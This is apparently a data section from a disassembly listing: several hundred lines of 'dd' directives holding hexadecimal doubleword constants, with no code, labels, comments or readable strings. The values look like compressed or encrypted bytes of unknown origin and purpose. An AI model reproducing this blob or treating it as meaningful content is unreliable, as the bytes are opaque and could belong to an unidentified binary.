		dd 11516A8Eh, 74118138h, 334D112Fh, 110C9311h, 0A5118014h
		dd 1F12277h, 7D92AD3Ah,	6060A26Ah, 8000939Ch, 0FC40722Ah
		dd 13F9587h, 0CD9D7629h, 708F980Bh, 230E04F1h, 405BC194h
		dd 78CE607Eh, 0BD7D1C50h, 0AE807E4Fh, 5386EF95h, 0D23A130Dh
		dd 0CB540034h, 0E6B8C159h, 28ED07AAh, 5E988FC6h, 868A5F80h
		dd 3F005D37h, 0A257A5AEh, 833DCh, 0A652311Eh, 5FE3B495h
		dd 5EDD1702h, 43AFE0CCh, 743E0EB0h, 3F007AD1h, 7B4F38DBh
		dd 5A645704h, 0E9C07567h, 9CF08A6h, 61C0F7FEh, 633C6800h
		dd 0AD073E92h, 4587533Bh, 1C1A8A10h, 0C4982Ah, 0AC0FAE38h
		dd 781208D1h, 983F2D01h, 9F8C7721h, 39CF90C3h, 9D0900C3h
		dd 7F729140h, 241C9207h, 83FEAC8Bh, 0E3474BEDh,	0E2AAF94Eh
		dd 0C04F98F0h, 0C8088CB8h, 0E5041B0Bh, 644416A8h, 138238D0h
		dd 0D6FCA9h, 5F51987Bh,	4B1E571Fh, 4245D800h, 4452164Fh
		dd 0C7B3008Dh, 1250E247h, 0F900C9DDh, 935A0468h, 3AF8DC20h
		dd 0D40E82ACh, 373EDA7h, 0B6CD2FD4h, 351015F8h,	0D94FE400h
		dd 0D2C74322h, 48E2E4B5h, 7BF4A1h, 0E5EA6F19h, 125BE072h
		dd 0D1A8E00h, 26382E43h, 31420088h, 1C45BFB3h, 0EA0E95AAh
		dd 0A0A9E1D7h, 7819DF68h, 0E850C08Ah, 33936BB7h, 2C5FD800h
		dd 7F301AE0h, 0F22C9072h, 0AE550060h, 0A0E480B7h, 0E60B20A1h
		dd 97D7EDh, 7B0F76C9h, 0AC90BDh, 0B1048817h, 19CA8DFFh
		dd 0E9D02200h, 844B2C4h, 9DDE01C0h, 530EBD81h, 1788DCF1h
		dd 64BEB700h, 49970384h, 7DC903D5h, 708BB83Bh, 30A7C3B0h
		dd 710C651Ch, 522C5D40h, 3B46090Dh, 0FC8133ADh,	0D74FC297h
		dd 0C64A20AEh, 2385B901h, 5B681155h, 0A1F4820h,	7F996D3Bh
		dd 8C7680ECh, 0E4D31AACh, 40BA7A80h, 124158A2h,	3CC3C8EBh
		dd 0E78A005Eh, 9E4BBF46h, 0D2146BF1h, 1EB0415Ah, 0DC54C707h
		dd 0FE4701D4h, 3EE109A6h, 7A49F9ECh, 56040069h,	555F9287h
		dd 0C47CE2D1h, 7F0B091Fh, 82CC9832h, 405EFB91h,	2427346Bh
		dd 5CFD78h, 0C690B57Fh,	0EEE56E2h, 0C0EFC079h, 4C05ACE5h
		dd 730CE910h, 0E24BCF1Fh, 0DB9980DCh, 0E291BEB1h, 0F1CA5B1Fh
		dd 2D7C20CFh, 18892900h, 668EBD10h, 3CF434h, 689354D6h
		dd 58BCB52h, 0AF16B200h, 0D7B54FE1h, 0D4E000CEh, 0F2767DB6h
		dd 5B039C79h, 5AE9633Fh, 60C7C286h, 60FB1Ch, 0CDE594EEh
		dd 93230D2Ah, 2F888250h, 8F00D8E4h, 92762B11h, 3041F34Ch
		dd 64219691h, 0EC0340A6h, 0B38ED829h, 0FF0C76Dh, 0A3F181h
		dd 7E14B6B4h, 99131797h, 279DB00h, 195E63BDh, 0D25007Dh
		dd 0EF26E8ABh, 280070FFh, 0E0B42B36h, 2E2F8190h, 0C7D07Bh
		dd 0A2A7730Fh, 0BA00C526h, 8D640C01h, 354012h, 415536F1h
		dd 0D89CFAB7h, 391AB600h, 0EA1B0876h, 0D0F3003Bh, 0DC021FA9h
		dd 0B107228Eh, 1DA74C75h, 0F330203Bh, 903AA844h, 15EE7Ch
		dd 3416810Bh, 2EBE9747h
		dd 0E2BFBC1Dh, 785CDE00h, 3CA4ACEh, 0B726B913h,	608712FCh
		dd 0AD9BF428h, 9875F107h, 18F0D36Fh, 1815FF52h,	7EAEDBF5h
		dd 1E00F0BCh, 7194250h,	7FFAB2FBh, 7A0303A2h, 8ECAE7Dh
		dd 0EEA0BDE8h, 5A918E01h, 3F8992A9h, 0D158C8h, 48D3EBFFh
		dd 0BB39440Bh, 9400AD71h, 0A8B0BA0Fh, 0F97578h,	26CC648Ah
		dd 0EB885B46h, 0A5004BF8h, 0E46B722Dh, 3859C049h, 2C80AA95h
		dd 8AFD89C5h, 85035A6Ch, 49B0019Bh, 5960979Dh, 0E34814h
		dd 4B0BA0B8h, 0D90435C6h, 0E2261090h, 170078DFh, 56097D79h
		dd 16130737h, 0D0E81EFCh, 0B222835Ch, 0DAF1400h, 639AA552h
		dd 0C0F92E59h, 0DEAE316Ah, 0E968025h, 0A506D154h, 0CADD00D8h
		dd 0BE8D295h, 0AB019B34h, 161CED3Bh, 0FBD3DA8Dh, 3E6F88C2h
		dd 0DB670F24h, 2A800E30h, 27935EF4h, 0D99B2D00h, 0F6E23A06h
		dd 8C240011h, 69517DC8h, 0BAA060C1h, 0CA0B6664h, 963FC4Dh
		dd 0DA35004Ch, 22D0B8h,	0F02D3E8Ah, 4B8D5F6Ah, 0EA261600h
		dd 3D35EC3Fh, 2C21277h,	1DE5007Ch, 0C87D488Dh, 8B683C00h
		dd 0A16346D2h, 3DE91DCFh, 0A3B7C2B6h, 30C886B1h, 0F300A523h
		dd 9AA69F87h, 908022BAh, 0D64B2C38h, 0E01C0Ch, 3506D8E1h
		dd 9539B885h, 93960B78h, 379D02A1h, 2755EFAh, 0D48A5EBh
		dd 392F10C0h, 2CF6BC00h, 0FA73C6DBh, 0D8E7009Eh, 8E106537h
		dd 0D0B0A9B0h, 11809A05h, 0F680675Fh, 93075B7h,	2989A239h
		dd 506EE420h, 79005E9Ch, 0AA69011Bh, 2E802D9Dh,	0E8594AEh
		dd 5F3F9BD0h, 7A270023h, 0B3293725h, 0E4DD7F03h, 0D86AD7BAh
		dd 6816F7h, 0BFFFDEAAh,	5FDA8E1Ch, 0BF0D1D3Fh, 0EC46808Ch
		dd 25CBB64h, 0D62F0023h, 0C4E3393Fh, 0A4079887h, 0DE82EA70h
		dd 3DFD8C10h, 945D00D4h, 0F409B7DBh, 8001DFB0h,	0D59CA8C9h
		dd 0D8C0DDD3h, 6CA100A2h, 0A0940919h, 0F83EE71Eh, 18E300FBh
		dd 1DF406EEh, 0EA600C4h, 0AA3FA756h, 780346B7h,	2B3DAD1Bh
		dd 1E3C88F7h, 4BFB8DBh,	277D581h, 0B78CC0CBh, 0A8BA4BCCh
		dd 17F448h, 9F8E571h, 286EB2CFh, 0ABBDC5h, 1CC86FA3h, 0AA7E7783h
		dd 3A53C400h, 0DEA63C1Dh, 6C500021h, 44FA1DFh, 0A0C2969h
		dd 28AC886Ah, 112B0FDAh, 70A044B0h, 6364B734h, 0DF00C678h
		dd 72A14C1Fh, 4D4AA4h, 0A8C25596h, 0B25018EDh, 0C0168826h
		dd 21BBD01h, 2060936Ch,	0A47E0065h, 5CE5FFD3h, 0D00FD16h
		dd 3F4B6071h, 1FCB69h, 22E27854h, 3A59D97Ah, 132E4F75h
		dd 2100BE31h, 5B205DBAh, 25A6062Ah, 0FA884D15h,	8763B339h
		dd 0CF0E9509h, 0E19A7220h, 16D207AEh, 701EE988h, 0DB7E5B65h
		dd 0CF7B430Bh, 3DE88032h, 3EEF79h, 7281738Fh, 6D07BCE9h
		dd 1A171C12h, 0D0DF9402h, 0D8802996h, 42EEB058h, 8357A100h
		dd 0B44F0234h, 6CF716DEh, 6E2860E5h, 0C0396579h, 539381B7h
		dd 60DE0130h, 3238B097h, 74C8D520h, 0B6004C79h,	0A73DD010h
		dd 726A56B9h, 0A6361F6Fh, 41F00D8h, 0BB30922Eh,	0DCA938h
		dd 17268A8Bh, 0FEF62819h, 0D0E6007Fh, 43214981h, 1C3F351Dh
		dd 314C0044h, 0B82C484h, 0FA34EEC9h, 566B00BCh,	9E53A580h
		dd 0FB0B573Bh, 2B1AF14Ah, 0D78C103Ch, 0DA4008Dh, 2D4D3951h
		dd 565842E4h, 0B0D403F0h, 0D0F68C38h, 7D168Dh, 8E2FC6Ah
		dd 3B536EF7h, 0B3B9DE0Eh, 0AE4AC0FBh, 3FC562h, 7A577251h
		dd 0F1D6B570h, 828B2704h, 54E0B79Eh, 30A90644h,	701D7689h
		dd 0F0C3DE00h, 0F56C858Fh, 817200E9h, 33B0EA51h, 523A8EE6h
		dd 0FC3CA47Dh, 22DC7900h, 862317h, 5A6BFE1h, 2C68F31Ah
		dd 87FDB477h, 0D8F76B18h, 66553930h, 480A09FEh,	9C895C59h
		dd 0CC3D6180h, 9D006209h, 5F899BDEh, 4C1019D8h,	0AD0078EAh
		dd 62A9B45Eh, 6C04CB9Fh, 0BFE661E9h, 0CEF354C0h, 464F3078h
		dd 0B70FBCAEh, 7CC85Ch,	0A02D474Bh, 3CDF2EC1h, 8E00020Dh
		dd 0E8363567h, 0ED38378Bh, 0B233973Dh, 88E69B00h, 280617AFh
		dd 0F1C420h, 3E937C2Ah,	58C2CF12h, 321AC3Dh, 0F053CC27h
		dd 677DA072h, 92590F37h, 50C09584h, 53E3DA38h, 6D89C201h
		dd 0C8588830h, 7C6ADCh,	0EFDB881h, 7267F20Bh, 82D5A03Eh
		dd 0DB92EC36h, 82DD80E6h, 1E2247Bh, 8C201674h, 40816E06h
		dd 79A707E8h, 861378ECh, 94075530h, 0EA60774Ah,	0DB8B1Dh
		dd 0D2DF204Dh, 0BBE7B8E2h, 0E5FC231Dh, 0C8F1FD00h, 58784FBEh
		dd 4600D910h, 7130E6F9h, 9400BF4Dh, 6FFCB6EEh, 12B0C8Eh
		dd 0B2971013h, 83E3AF5Ch, 0EDF7650h, 31D9D891h,	59520245h
		dd 3C983F69h, 80FFE241h, 46138468h, 4E0F5h, 57E62402h
		dd 0E2983A68h, 0BA257F03h, 0D1288033h, 1670BBB5h, 6E071230h
		dd 3644005Ah, 0A1D3600Ah, 0E9AF4B03h, 0D0C26D16h, 0E549D7h
		dd 0CC0C7FEEh, 9EB888ECh, 0B42B342Ch, 2C7DD1Eh,	871074E3h
		dd 0E828384Dh, 2D183C04h, 51B03E0Bh, 0B939CD00h, 0DA00B2C7h
		dd 16E16D85h, 101208h, 8CC12F28h, 0CB26E6E9h, 0C7BBFA0Eh
		dd 12B6E0FBh, 75D5EB95h, 9AA00058h, 0D15B2734h,	0BB01FBE2h
		dd 67C3FB9h, 0D040EE44h, 68B1458h, 0C231E736h, 0B000285Ah
		dd 0AFC16FBFh, 581F0B9Fh, 1D00988Eh, 67410395h,	0DF137342h
		dd 5D00A31Bh, 45A73A19h, 6CE60013h, 5AC438CAh, 100B14A0h
		dd 1B4406Dh, 9A2A582h, 90F5DCh,	985B6F02h, 0FD92515h, 2F520E00h
		dd 710C5811h, 0CE38023Ch, 4C156024h, 41008058h,	0DB5ECA57h
		dd 14465A1h, 399354FBh,	8FECAF95h, 0E05FE5C8h, 27FE90EDh
		dd 7DFC007Eh, 668674F1h, 3014AF6h, 98025289h, 6EC6B61h
		dd 0AA5600E7h, 64912F21h, 0F100D92Bh, 8B99B3C9h, 87D75Ch
		dd 0F621F34Fh, 1F92FB6Ch, 5000385Ah, 0C34DB401h, 0E642F897h
		dd 48654830h, 0AFA1250Fh, 91592260h, 0DB014D7Ch, 0B3CC437h
		dd 64ECCEE0h, 9EAA03D3h, 0CF467BF9h, 744567E8h,	6D143A02h
		dd 0D0ABBAFEh, 0A3F609A4h, 64001746h, 0D7B89108h, 0F7D0621Ch
		dd 6C5EC80h, 0CD91575h,	0DA22DE42h, 3B124198h, 4C046E43h
		dd 0A0F3DF06h, 0D7C06F00h, 658D7F18h, 3C0008FEh, 0EE2C2505h
		dd 0A65F50h, 66F25195h,	0CC8B5CDBh, 5B30E01Fh, 0FECA6FC0h
		dd 5016A9h, 1D61A3FFh, 2F1BF293h, 96CDB700h, 72EFEC63h
		dd 4B74F269h, 0BA300409h, 80B600E0h, 3F56CA1Eh,	0E78BC44Dh
		dd 908065AEh, 9D2B15C8h, 0A800FBE8h, 216D0516h,	957261h
		dd 0E452B3DDh, 3F324E2Eh, 73CCC704h, 78A02B30h,	0D294049Fh
		dd 0C0352DF9h, 0DC74A857h, 0D08B1500h, 0B5FF2BBh, 1DBFC3Ch
		dd 0C07D50F1h, 0D47E768Dh, 0F21D5A63h, 4A14906Ch, 57E118E3h
		dd 495B4Eh, 957A30A2h, 8BFA0839h, 9C105E38h, 878B3E5Ch
		dd 36C8006Bh, 90DD638Ah, 930A003Ch, 5BA8AB96h, 3D01B2A5h
		dd 0B747681Ah, 0E7D0EF75h, 0CD55009Ch, 0DBA84C35h, 0D800FA7Ah
		dd 48527612h, 0B117B19h, 7996368Ch, 35880800h, 0E7717873h
		dd 3350F000h, 259C9747h, 0AB3900FEh, 996ED488h,	0F3FA832Ch
		dd 8A931105h, 0B700CB37h, 79DB0949h, 7A360022h,	0A70692A4h
		dd 1012DE40h, 1400C12Eh, 0F248EA6Dh, 5CAB005Eh,	0F3588626h
		dd 0FEE9587h, 1E087700h, 34172DAh, 0B838F3A7h, 27A01Ch
		dd 3A33892Fh, 8E1D1A52h, 0D905AAC1h, 4CC0B904h,	0E8A302BBh
		dd 63552CE5h, 0D3F58000h, 0DC01E114h, 0AD0FE8E6h, 0F65BCC3Eh
		dd 301D8400h, 0BB93B4D6h, 2037479Ch, 887F7F6h, 9C3A401h
		dd 1263849Ch, 0E1D630h,	134DFA05h, 0D98395AAh, 91313000h
		dd 886A978Ah, 3877A0h, 8D9EDD3Eh, 0BACC899Fh, 5B00AF7Ah
		dd 76E1D593h, 2CBBD9h, 113346C9h, 5EFF28ABh, 57FE180Fh
		dd 0FE8C0FCh, 3F602068h, 7FD4535h, 0EEA3CD13h, 4731527Bh
		dd 0BE70D9E0h, 0C3262300h, 8D0B9E0h, 241D00B4h,	419C2937h
		dd 0D6007ABDh, 0EEB7A2FBh, 48EB3Ch, 0DFD1A55Fh,	0E3CB0A73h
		dd 0BB74C600h, 0E03CEDBCh, 9D90B6Fh, 80C029C1h,	4354C6EEh
		dd 3800D69Ch, 2D2A0C86h, 71ABA7B8h, 2EB8A096h, 0F07D0048h
		dd 10BBA178h, 65FE479Dh, 1C4D0709h, 0BCF282F1h,	0ED98C82Bh
		dd 0A7DB13E0h, 584500B6h, 20290365h, 605C38EAh,	546405B5h
		dd 8DC086DEh, 0FAE39E1Fh, 565300FAh, 0C58AE997h, 412E748Ch
		dd 37017C0Fh, 0F3A7EE16h, 0B9E2F0h, 0E85EB387h,	0C93FF86Bh
		dd 0CBCD2F07h, 7796808h, 5250EAB9h, 341A9Dh, 23A917FAh
		dd 2FC6F253h, 0BD891800h, 81CEAB0Fh, 86B4007Ch,	2DEC374Bh
		dd 7F0108BAh, 8A9021D1h, 5C60898Bh, 420414F5h, 8C27840Dh
		dd 0EC1D3400h, 4C731066h, 0F1263690h, 35189C6Eh, 58C91780h
		dd 4B0049B1h, 0ECA1698Fh, 0C430752Fh, 0B756226Bh, 189A00A7h
		dd 0DC0E46A2h, 0B83DCE7Ch, 0E00893E6h, 44FE5A00h, 1D1BC562h
		dd 809969DFh, 6A4F498h,	0B74C4109h, 5801164Ah, 9BCE3100h
		dd 73916Ch, 5C49E4B5h, 0E061E96Bh, 9F77120Bh, 0CCF980F5h
		dd 12BAFF2Ch, 0C04BC3FEh, 14257804h, 89248D74h,	7404D363h
		dd 24C79561h, 782D8F72h, 0C4261CECh, 81942C1h, 0EC6045B6h
		dd 4408CC97h, 6AF4F0h, 66CD05CEh, 1F3F5EC6h, 7A3C8057h
		dd 2384072h, 0D65B2CE2h, 4EDD0B28h, 0A9427040h,	34B4A32Eh
		dd 3BC39h, 56146937h, 0EC2430Bh, 775351E5h, 96EA1BE0h
		dd 0E30061CFh, 6B4CB43Ch, 5020B37Fh, 11CC85h, 3B987066h
		dd 269C5945h, 0FF188360h, 0F2ED7Dh, 4CE0E4A5h, 0C7E71064h
		dd 0C7BA80Bh, 6628A43Dh, 8BC08780h, 0CEF04Fh, 0F374FC45h
		dd 0E0DC6881h, 1EBAD907h, 34A5D6BCh, 0AA449B80h, 23E91850h
		dd 0C72B68C4h, 0FD8D931Dh, 8F717D80h, 0E15A5F8h, 6535362Ah
		dd 9DB480BDh, 5543ADA1h, 5B453E01h, 0C8D986CDh,	2A5814D8h
		dd 0C911F8h, 3F935072h,	104B15DFh, 0DED53300h, 632BE65h
		dd 41F900D0h, 0A5FEE93Dh, 0AC090D91h, 118E59Fh,	200499E8h
		dd 2538CBECh, 5480ED46h, 0D267D34Bh, 0DCF5A712h, 288F5603h
		dd 5E60CF61h, 52487h, 0AFFBFD35h, 0D8F14754h, 0DD68F502h
		dd 60AD5A2Fh, 98D58FC4h, 7A60712Ah, 0C7CB00DEh,	5C25865h
		dd 3600089Eh, 0B7EEC0CDh, 1FF9A631h, 8066858Dh,	0D27C691Ah
		dd 0F1280DAEh, 5000882Fh, 31DB709Ch, 7B3F3CBCh,	323D0044h
		dd 0F83EFABDh, 546095ECh, 0D03902D0h, 0B3B0008Ch, 2E3B3A46h
		dd 5898E888h, 9135590Fh, 64003F52h, 6EE4F3B0h, 847923h
		dd 0A96F8CFFh, 0AA8749C6h, 7C7A2700h, 0C46C7B91h, 1D38B096h
		dd 80C13EB5h, 94C5AA8h,	687BD9FDh, 0F8AD43Ch, 0A0BCF010h
		dd 7484966h, 256C166Dh,	43B000A5h, 0B8784BCBh, 875FE504h
		dd 0A8877615h, 0FCEC1F51h, 12E3FAF4h, 0C0E95622h, 0DCA3426Ch
		dd 590D320Eh, 57EFE360h, 91B100CFh, 52160531h, 0F54CA153h
		dd 0ED80777h, 0BF201072h, 9FBB740h, 0AC13CAF4h,	1BA030E0h
		dd 0A6DAE17h, 27F7C84Eh, 0A860DFE2h, 35D8657h, 783C92F9h
		dd 0CFF8C661h, 3512B86Dh, 0B8007F11h, 799A5D87h, 349E8Fh
		dd 0C1FDF60Dh, 0E0017D03h, 8E06EF1Eh, 0E360775Fh, 2EF1EA12h
		dd 41BC3Eh, 0B1D50C72h,	400009CCh, 8D1E91A7h, 2423141h
		dd 54BE7AAh, 0F4E023ABh, 73004345h, 0EC381C7Ah,	0E98470h
		dd 0CC2E05A0h, 91BFBAAFh, 0DFC1413h, 0E4E12400h, 63EFF0h
		dd 0A73050D8h, 1323E83Ah, 22095200h, 59064957h,	797D714Fh
		dd 0D0BC4AE2h, 169B507Ch, 0DD660C1Dh, 0B2C1E140h, 254098C2h
		dd 0D0816A2Ah, 0F0D06DC3h, 0D90FF9C8h, 0A0A6AD07h, 4E9AEDFBh
		dd 47021EF1h, 0ABBC4011h, 60E95C04h, 0C8808494h, 1F3786E2h
		dd 60EE722Dh, 10B219BFh, 80060CA6h, 18A0D5FAh, 0D0C83291h
		dd 0C060F30h, 797A38h, 0C05096F4h, 0A20AF057h, 0EB1D490Eh
		dd 88E3C02Fh, 724E1CE5h, 6B3F003Ah, 0C3A5DD60h,	8BEC0CFCh
		dd 98790600h, 0CF29E5D1h, 0AB4C0759h, 20BA5D70h, 5C455A42h
		dd 8696CB12h, 644DF881h, 4E3026F1h, 0A7080315h,	857E980Eh
		dd 0FEDF2101h, 0AED47461h, 44125C40h, 15340E0Ah, 0C0FE8BCFh
		dd 0E8E3562Ch, 0EF1329D2h, 9006721h, 0B7BEF032h, 0DE700049h
		dd 5E5B302h, 2D1F0D19h,	0D8C025E0h, 706827ADh, 3876AFh
		dd 0A822F748h, 3A6F7410h, 297CAA00h, 0E7E0B17Eh, 6CF00027h
		dd 911CA51Dh, 96005A4Ch, 2252B4EEh, 8C6354h, 8D4B3F9Fh
		dd 3E0719B0h, 6A1D6400h, 0BE56DFEh, 3AEB3942h, 35632C00h
		dd 71BB92D5h, 6702BF01h, 0F8122884h, 801DE09Fh,	8CDA302Ch
		dd 150058DFh, 903E74F1h, 2FDB6E5Ch, 4007D001h, 0D7C00FD9h
		dd 34CBDCFh, 7897E006h,	7149C360h, 0A598F6h, 0BAFDEBD0h
		dd 93C5A3AFh, 373D597Fh, 0B4A2AE82h, 40354Fh, 8E0515BAh
		dd 87CD39h, 0D6978AF7h,	1AC6486Eh, 0AB80270Eh, 4C9CC0E5h
		dd 0EB3261h, 76A0AFBCh,	11871E03h, 0C03BD188h, 133468A9h
		dd 17056EADh, 55359F5Ah, 0C57983h, 0B7975721h, 5A457964h
		dd 4ECF5Ch, 6FC83A2Ah, 25639Ch,	39C498F9h, 0D5F3A8F7h
		dd 0DA74CC7Ch, 0B1136A18h, 0D88671h, 1575BB57h,	2DBC9D92h
		dd 0CAC0FFEFh, 0AB0056EAh, 0A910E7D2h, 3AAD5E86h, 8483CFFBh
		dd 115C2C4Dh, 852B0DF0h, 5D00D5F6h, 6FDFB66Eh, 0C2D23F05h
		dd 608ABBA9h, 1F197080h, 7A775976h, 61CA700h, 0A62ADB40h
		dd 9775B3h, 0F9572DBEh,	0E3F1DFDAh, 80724F3Bh, 0AD7174B8h
		dd 3887F66Dh, 0FE00900Bh, 0EBB3FB0Fh, 0EE0044BAh, 0CC7DB423h
		dd 1D8DBFF0h, 0C03A5105h, 8CD70153h, 9C67B09h, 20B098h
		dd 6ECDC531h, 0BB17913Eh, 0F659E00h, 0D3A7DF29h, 7B7C7A8Eh
		dd 86B07C3h, 0A1E7FD7Bh, 8DF13A0Eh, 49ADC060h, 9982C0h
		dd 6B6123E5h, 88965746h, 0A88CF301h, 339F831h, 0C1FC4h
		dd 0FC437429h, 1796E4BFh, 0EEB68000h, 0C8E2FB87h, 0DBBD3693h
		dd 0F101C168h, 548B8F21h, 10838C24h, 0D8C9B49Fh, 78689C80h
		dd 4F6C881Dh, 6931DF18h, 0C8C907E6h, 0F036162Fh, 0FFE083DBh
		dd 0D7DCCC00h, 7BF1BFF2h, 0B6E88Fh, 4299AEA3h, 5AEE31D0h
		dd 0A4D55403h, 8133461Eh, 0E88004B6h, 7EE5869Ch, 0AF3EF905h
		dd 0FC420157h, 0FDC52739h, 0F3ACA8BFh, 26A30011h, 0B55B4109h
		dd 4730F774h, 0DA1B20EFh, 0E5D83B42h, 39A13589h, 5AC4F300h
		dd 0C700AC67h, 0C297647h, 3A35C8CCh, 0BE073FFCh, 0B5AFBBDEh
		dd 0E0EC48B6h, 627017C7h, 86832F01h, 0B621E660h, 0AA3CC3Ch
		dd 2DC054B5h, 1B9A0EBCh, 130466E3h, 0DB691000h,	0F9857555h
		dd 12A200D7h, 0FFF66AF0h, 98004E71h, 0AA9BB6D6h, 876002h
		dd 0C3530870h, 7E50BDAh, 898458h, 4D72FE94h, 9DAB2Bh, 0D655349Ah
		dd 0BF7C1882h, 29AEA500h, 68F7356Eh, 5E7A38h, 2AA1236Bh
		dd 403274DFh, 6200D0E2h, 3A7A5322h, 97CE8Ch, 0E1DA9EAFh
		dd 0A90AC57h, 6700CDECh, 1E47F173h, 7ECF8F49h, 0FEE4E8h
		dd 0CA22B7C3h, 1C771932h, 86E90100h, 7B9F6850h,	1EC700AEh
		dd 0D87CCDD4h, 0CBEAA60Bh, 0FE714D07h, 0DFA0BC41h, 7B2B3E14h
		dd 40F10322h, 4B98130Eh, 0D83C5089h, 413AD8B5h,	0E40073CBh
		dd 6A873578h
		dd 0ABDC003h, 541C8319h, 940100E0h, 8A98246h, 67E55D01h
		dd 99A527FBh, 9F77F0h, 0ECBE8E3Dh, 19554573h, 0ED2F5426h
		dd 2A26003Fh, 0C3C5D79Eh, 0D93201D6h, 144F2BF4h, 772EE4E4h
		dd 80A3D800h, 2674E9D5h, 0B0E858h, 0E76BF72Ch, 46866783h
		dd 44FD0F00h, 617C5616h, 0D2BF030Ah, 845C9C41h,	0C86FECB1h
		dd 0CEF46979h, 57675300h, 0C04EE773h, 0B18706D4h, 58CC5B3Bh
		dd 1D24100h, 30C8E654h,	0BC8230DBh, 0D131C418h,	73001B77h
		dd 60F0118Fh, 0F5A6D20h, 22A05081h, 7DAA2E0h, 0A1DFBCAh
		dd 12DD8FFAh, 0A8409EDBh, 1AE653Dh, 0A8A92A9Fh,	0E4C8021Ah
		dd 151F1674h, 4E80C6BBh, 73092BB1h, 0C9DB00F3h,	42C3FC1Ch
		dd 0FE00BF96h, 58B91931h, 0E0604A3h, 9C91A1E1h,	8801A89h
		dd 5E31930Bh, 0B374300Ah, 1C0FE488h, 0A82020CEh, 1FC97767h
		dd 40E52F2Bh, 6EE8BEC4h, 4706B53h, 0DFD64A01h, 5F8A8CA9h
		dd 3ACFB70h, 0FDDDD5F5h, 8FD8C0C6h, 0E3009853h,	0FC40B363h
		dd 17C5D6h, 5E8E4A55h, 4EB7C704h, 27C08B1Fh, 116A4B00h
		dd 75D584h, 0F5D26DC9h,	0E1AFFD09h, 3900E9F6h, 0C3B3124Eh
		dd 5766F26h, 16BD19CEh,	4DE00017h, 1B742306h, 0EB288800h
		dd 5B7DF993h, 0B1C400F8h, 44847996h, 21019170h,	0C21A8A2Bh
		dd 98507230h, 7822C13Fh, 0BFE200D7h, 4CEC1EA3h,	18FA9338h
		dd 8BDBDD00h, 0E7CCA40h, 0F3E20079h, 0C59C6ABBh, 523C67C2h
		dd 0E7B280F9h, 0E0757F8h, 93B0C19Ah, 0F8B49464h, 5200A511h
		dd 8C856FFAh, 388D13FBh, 358E5016h, 4EE1D9C8h, 245A9C87h
		dd 0E100AA54h, 5781D712h, 186C6DCAh, 609D5F8Fh,	2F2AAD05h
		dd 0D13EC81Ch, 8FE8505Bh, 319F4A05h, 9BC080EAh,	74C3687Dh
		dd 0A0BD054Bh, 48CC655h, 400E06F4h, 3B0A1DE8h, 0E69A00A9h
		dd 5311E4A5h, 0D4005CA7h, 546BCEC5h, 5AC9D9h, 0C65F3286h
		dd 592EEFFDh, 4A714B00h, 0DCE3FA5Ch, 334C00F2h,	735DE6CEh
		dd 6200859Fh, 0D8DBC6BAh, 79CCF379h, 1C60986Eh,	10BCA48h
		dd 0B9CED003h, 9B91F0F8h, 55FC3700h, 0AFE49F92h, 352E0FFAh
		dd 94802CADh, 7CE36F4Dh, 0F18D8C00h, 67214228h,	7066005Bh
		dd 0C1FDF422h, 3E001CDAh, 438EFE0Eh, 0A6CD2Dh, 1B554275h
		dd 2AA868C9h, 0CFF71701h, 0AF13A107h, 1DF35CE0h, 5D0987BFh
		dd 75FEC063h, 0E411F004h, 3881B300h, 0CB9FAC4Eh, 0C8B053Eh
		dd 0BB6A0DA2h, 2C42D3C0h, 6B98021Dh, 60CB5881h,	0C00AA887h
		dd 0A047259Bh, 5D6CEF24h, 0FCDD1A00h, 3B82118h,	5BC2D80Bh
		dd 3BC0A58Eh, 58B86A3Ch, 8A14EA00h, 0F4378792h,	94F11C23h
		dd 4F9500D3h, 0FF0CAC34h, 8128BB39h, 624345D1h,	0D5601553h
		dd 21EE11h, 0FB14769h, 441FF9C4h, 836C0748h, 0C03D9051h
		dd 0F580307Ch, 0A32B9081h, 319D8EA7h, 0B19EFCA0h, 676CE800h
		dd 96C81CD8h, 0DE8118F3h, 0B010209Bh, 93217300h, 0C9579DBh
		dd 1024FB5Fh, 2291344h,	0AC31004Fh, 0ADCD7EB8h,	0D2DA8D50h
		dd 8232FF00h, 15ED10E5h, 50A46024h, 0D0D4E861h,	0CBBDB503h
		dd 0B33B769Ch, 0B0AE5Fh, 0FEC8AD94h, 29CC4DB1h,	1221A400h
		dd 56E6FB5Bh, 0DEF400D6h, 52200AECh, 0F5E0A66Dh, 0AC3A6500h
		dd 844DBF2Ah, 7A420047h, 965F40BDh, 9203B81Dh, 0C5624C95h
		dd 2B28183Bh, 7FB9400Ch, 3950BD62h, 103C449Ch, 0CF2A688h
		dd 20E9D1D8h, 117D0A6Ch, 0BCAF58h, 51878A56h, 3901CB68h
		dd 0CE787435h, 0B9C76E0Fh, 1C3095C4h, 0A82F0059h, 80691B34h
		dd 200C0F4h, 81EC9F66h,	3FF8EEh, 0A489DA2Eh, 0C9AE3DE0h
		dd 0A273CE00h, 126CA654h, 1234981Dh, 0ED64Ch, 40AF4E48h
		dd 715CB9FDh, 0F44100D1h, 0C084A92Eh, 0C78A00F2h, 9C9AA469h
		dd 0E3023EBEh, 21D8A361h, 9EA8909Fh, 26A800C7h,	44DF695Ch
		dd 6A016DB9h, 0C8FB079h, 0E3C40F71h, 6F8A00A6h,	0D03721E9h
		dd 0D6003C0Ah, 53C735A4h, 9F0EFCh, 2E560428h, 0F621339Ch
		dd 823D8400h, 0F342F20Fh, 146902Fh, 2D9FEA67h, 209537B8h
		dd 32079D3Eh, 2E4CF893h, 0B95A00BEh, 7301A9DCh,	0B8B008Dh
		dd 0AEA6ADDDh, 0A40039E8h, 0D8BDB1AFh, 1A970Ah,	18F0B75Fh
		dd 1C6664D9h, 6D62BF00h, 105913E9h, 0ABB94827h,	0D85C5460h
		dd 0F4399457h, 0A9BE009Bh, 0DEE8902Dh, 0D2E70007h, 0A621A244h
		dd 44D2968h, 83E10084h,	0F4B0C548h, 2A7592h, 9B19448Dh
		dd 797AD3FBh, 0F5235900h, 5FEAF0DAh, 972F0090h,	0AA082D13h
		dd 1F00E662h, 0A2323C9Bh, 0E4D07E4h, 9DF616C2h,	0FA820A20h
		dd 3A0F5113h, 0A2638365h, 4184F703h, 0B0C37078h, 0B028147Ch
		dd 1DA339F2h, 98635F3Eh, 82E0C357h, 0DD009CEFh,	0FC5C7294h
		dd 422D1Eh, 162CD49h, 602F82Ah,	8B54828h, 6C7B4000h, 0FDC976AAh
		dd 0E8FB6093h, 0CA1D2982h, 0FF3C5300h, 0D73F628Fh, 803D90C1h
		dd 2B12848h, 3A789073h,	54A0BD0Dh, 0CC7CF809h, 0C3D04A81h
